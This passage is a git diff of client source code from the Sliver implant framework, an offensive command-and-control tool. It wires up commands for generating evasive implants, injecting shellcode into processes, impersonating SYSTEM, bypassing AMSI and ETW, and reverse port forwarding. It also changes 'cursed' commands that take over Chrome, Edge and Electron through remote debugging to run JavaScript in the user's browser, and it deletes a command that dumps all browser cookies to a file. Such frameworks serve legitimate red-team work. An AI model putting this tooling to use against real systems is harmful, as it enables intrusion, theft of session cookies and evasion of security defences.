tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
+27 -179
View File
@@ -23,7 +23,7 @@ package command
Guidelines when adding a command:
* Try to reuse the same short/long flags for the same parameter,
* Try to reuse the same short/long flags for the same paramenter,
e.g. "timeout" flags should always be -t and --timeout when possible.
Try to avoid creating flags that conflict with others even if you're
not using the flag, e.g. avoid using -t even if your command doesn't
@@ -41,13 +41,12 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/backdoor"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/cursed"
"github.com/bishopfox/sliver/client/command/dllhijack"
"github.com/bishopfox/sliver/client/command/environment"
"github.com/bishopfox/sliver/client/command/exec"
"github.com/bishopfox/sliver/client/command/extensions"
cmdExtensions "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -67,7 +66,6 @@ import (
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/rportfwd"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
@@ -81,6 +79,7 @@ import (
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/client/licenses"
"github.com/desertbit/grumble"
)
@@ -129,7 +128,7 @@ func BindCommands(con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to load extension: %s\n", err)
continue
}
extensions.ExtensionRegisterCommand(ext, con)
cmdExtensions.ExtensionRegisterCommand(ext, con)
n++
}
if 0 < n {
@@ -458,7 +457,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -485,7 +483,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -521,6 +518,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -720,28 +718,6 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
tasksCmd.AddCommand(&grumble.Command{
Name: consts.CancelStr,
Help: "Cancel a pending beacon task",
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
Flags: func(f *grumble.Flags) {
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.String("id", "beacon task ID", grumble.Default(""))
},
Run: func(ctx *grumble.Context) error {
con.Println()
tasks.TasksCancelCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(tasksCmd)
// [ Use ] --------------------------------------------------------------
@@ -903,9 +879,6 @@ func BindCommands(con *console.SliverConsoleClient) {
Args: func(a *grumble.Args) {
a.String("session", "session ID", grumble.Default(""))
},
Completer: func(prefix string, args []string) []string {
return use.BeaconAndSessionIDCompleter(prefix, args, con)
},
Run: func(ctx *grumble.Context) error {
con.Println()
info.InfoCmd(ctx, con)
@@ -1209,8 +1182,6 @@ func BindCommands(con *console.SliverConsoleClient) {
a.Uint("pid", "pid")
},
Flags: func(f *grumble.Flags) {
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -1300,9 +1271,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("P", "password", "", "SSH user password")
f.String("l", "login", "", "username to use to connect")
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
f.String("r", "kerberos-realm", "", "Kerberos realm")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -1324,10 +1292,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1353,7 +1319,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1384,10 +1349,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("a", "arch", "amd64", "cpu architecture")
f.String("N", "name", "", "agent name")
f.Bool("d", "debug", false, "enable debug features")
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
f.Bool("e", "evasion", false, "enable evasion features")
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
f.String("I", "template", "sliver", "implant code template")
f.Bool("E", "external-builder", false, "use an external builder")
f.String("c", "canary", "", "canary domain(s)")
@@ -1413,7 +1376,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1557,8 +1519,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1568,7 +1528,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1623,8 +1582,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
f.String("I", "template", "sliver", "implant code template")
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1634,7 +1591,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1983,7 +1939,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.Bool("c", "print-cmdline", false, "print command line arguments")
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
f.Bool("T", "tree", false, "print process tree")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -2046,14 +2001,9 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Run a new process in the context of the designated user (Windows Only)",
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
Flags: func(f *grumble.Flags) {
f.String("u", "username", "", "user to impersonate")
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
f.String("p", "process", "", "process to start")
f.String("a", "args", "", "arguments for the process")
f.String("d", "domain", "", "domain of the user")
f.String("P", "password", "", "password of the user")
f.Bool("s", "show-window", false, `
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
f.Bool("n", "net-only", false, "use ")
f.Int("t", "timeout", 30, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
@@ -2125,7 +2075,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("u", "username", "", "username of the user to impersonate")
f.String("p", "password", "", "password of the user to impersonate")
f.String("d", "domain", "", "domain of the user to impersonate")
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
HelpGroup: consts.SliverWinHelpGroup,
@@ -2559,59 +2508,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3287,7 +3183,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsCmd(ctx, con)
cmdExtensions.ExtensionsCmd(ctx, con)
con.Println()
return nil
},
@@ -3306,7 +3202,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsListCmd(ctx, con)
cmdExtensions.ExtensionsListCmd(ctx, con)
con.Println()
return nil
},
@@ -3319,7 +3215,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionLoadCmd(ctx, con)
cmdExtensions.ExtensionLoadCmd(ctx, con)
con.Println()
return nil
},
@@ -3338,7 +3234,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsInstallCmd(ctx, con)
cmdExtensions.ExtensionsInstallCmd(ctx, con)
con.Println()
return nil
},
@@ -3357,7 +3253,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsRemoveCmd(ctx, con)
cmdExtensions.ExtensionsRemoveCmd(ctx, con)
con.Println()
return nil
},
@@ -3365,7 +3261,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.String("name", "the command name of the extension to remove")
},
Completer: func(prefix string, args []string) []string {
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
return cmdExtensions.ExtensionsCommandNameCompleter(prefix, args, con)
},
})
@@ -3448,7 +3344,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -3465,19 +3361,14 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
@@ -3491,19 +3382,14 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
@@ -3511,44 +3397,6 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
@@ -3567,23 +3415,23 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
con.App.AddCommand(cursedCmd)
// [ Builders ] ---------------------------------------------
buildersCmd := &grumble.Command{
Name: consts.BuildersStr,
Help: "List external builders",
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
builders.BuildersCmd(ctx, con)
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
}
con.App.AddCommand(buildersCmd)
})
con.App.AddCommand(cursedCmd)
}
+1 -11
View File
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
@@ -185,16 +185,6 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
+3 -51
View File
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,13 +89,7 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
@@ -110,19 +104,6 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
@@ -135,38 +116,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -180,4 +131,5 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
}
}
}
}
-69
View File
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+1 -5
View File
@@ -149,14 +149,10 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
-12
View File
@@ -21,7 +21,6 @@ package cursed
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
@@ -36,7 +35,6 @@ import (
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
@@ -50,7 +48,6 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
@@ -70,7 +67,6 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -111,11 +107,3 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+3 -3
View File
@@ -20,7 +20,7 @@ package exec
import (
"context"
"os"
"io/ioutil"
"path/filepath"
"strings"
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := os.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -90,7 +90,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
PPid: uint32(ctx.Flags.Int("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
+3 -2
View File
@@ -23,6 +23,7 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
@@ -51,7 +52,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := os.ReadFile(shellcodePath)
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -81,7 +82,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("%s\n", err.Error())
return
}
oldSize := len(shellcodeBin)
+2 -1
View File
@@ -18,6 +18,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -241,7 +242,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
-10
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -36,19 +33,12 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Args.Uint("pid")
